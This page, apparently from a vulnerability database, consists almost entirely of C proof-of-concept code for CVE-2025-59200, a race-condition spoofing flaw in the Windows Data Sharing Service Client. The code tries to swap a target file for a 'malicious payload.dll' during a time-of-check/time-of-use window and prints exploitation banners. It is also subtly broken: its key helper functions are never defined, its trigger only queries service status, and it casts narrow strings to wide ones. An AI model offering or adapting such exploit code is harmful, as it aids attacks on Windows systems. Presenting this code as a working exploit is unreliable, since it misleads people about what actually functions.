CVE-2025-59200 Microsoft Data Sharing Service Client 竞态条件欺骗漏洞

// CVE-2025-59200 - Data Sharing Service Client Race Condition PoC // This PoC demonstrates the race condition exploitation concept // Note: Requires local access and specific timing #include <windows.h> #include <stdio.h> #include <tchar.h> #define TARGET_SERVICE L"DataSharingSvc" #define RACE_WINDOW_MS 100 // Structure to hold race condition parameters typedef struct _RACE_CONTEXT { HANDLE hSharedResource; LPWSTR lpOriginalPath; LPWSTR lpMaliciousPath; BOOL bIsExploited; } RACE_CONTEXT, *PRACE_CONTEXT; // Thread function to monitor and swap shared resource DWORD WINAPI RaceMonitorThread(LPVOID lpParam) { PRACE_CONTEXT pCtx = (PRACE_CONTEXT)lpParam; // Continuously monitor the shared resource while (!pCtx->bIsExploited) { // Check if the target resource is being accessed // (Time-of-Check phase completed) if (IsResourceInUse(pCtx->hSharedResource)) { // Race window detected - swap the resource // before Time-of-Use phase if (SwapResource(pCtx->lpOriginalPath, pCtx->lpMaliciousPath)) { pCtx->bIsExploited = TRUE; printf("[+] Race condition triggered successfully\n"); break; } } Sleep(1); // Minimal sleep to maximize race window } return 0; } // Trigger the Data Sharing Service to initiate the vulnerable code path BOOL TriggerDataSharing() { // Simulate triggering the Data Sharing Service Client // to perform the vulnerable race condition operation SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (!hSCManager) { printf("[-] Failed to open SC Manager: %d\n", GetLastError()); return FALSE; } // Attempt to interact with the Data Sharing Service SC_HANDLE hService = OpenService(hSCManager, TARGET_SERVICE, SERVICE_ALL_ACCESS); if (hService) { // Trigger the vulnerable code path via service control SERVICE_STATUS_PROCESS ssp; DWORD dwBytesNeeded; QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, sizeof(ssp), &dwBytesNeeded); CloseServiceHandle(hService); } CloseServiceHandle(hSCManager); return TRUE; } int main(int argc, char* argv[]) { printf("[*] CVE-2025-59200 PoC - Data Sharing Service Race Condition\n"); printf("[*] Microsoft Windows Local Spoofing Vulnerability\n\n"); if (argc < 2) { printf("Usage: %s <target_resource_path>\n", argv[0]); printf("Note: Requires local administrator or user interaction\n"); return 1; } RACE_CONTEXT ctx = {0}; ctx.lpOriginalPath = (LPWSTR)argv[1]; ctx.lpMaliciousPath = (LPWSTR)L"C:\\malicious\\payload.dll"; // Start the race condition monitoring thread HANDLE hThread = CreateThread(NULL, 0, RaceMonitorThread, &ctx, 0, NULL); if (!hThread) { printf("[-] Failed to create monitor thread: %d\n", GetLastError()); return 1; } // Trigger the vulnerable Data Sharing operation printf("[*] Triggering Data Sharing Service...\n"); TriggerDataSharing(); // Wait for exploitation or timeout WaitForSingleObject(hThread, RACE_WINDOW_MS * 10); if (ctx.bIsExploited) { printf("[+] Exploitation successful - spoofing achieved\n"); } else { printf("[-] Race condition window missed, retry recommended\n"); } CloseHandle(hThread); return 0; }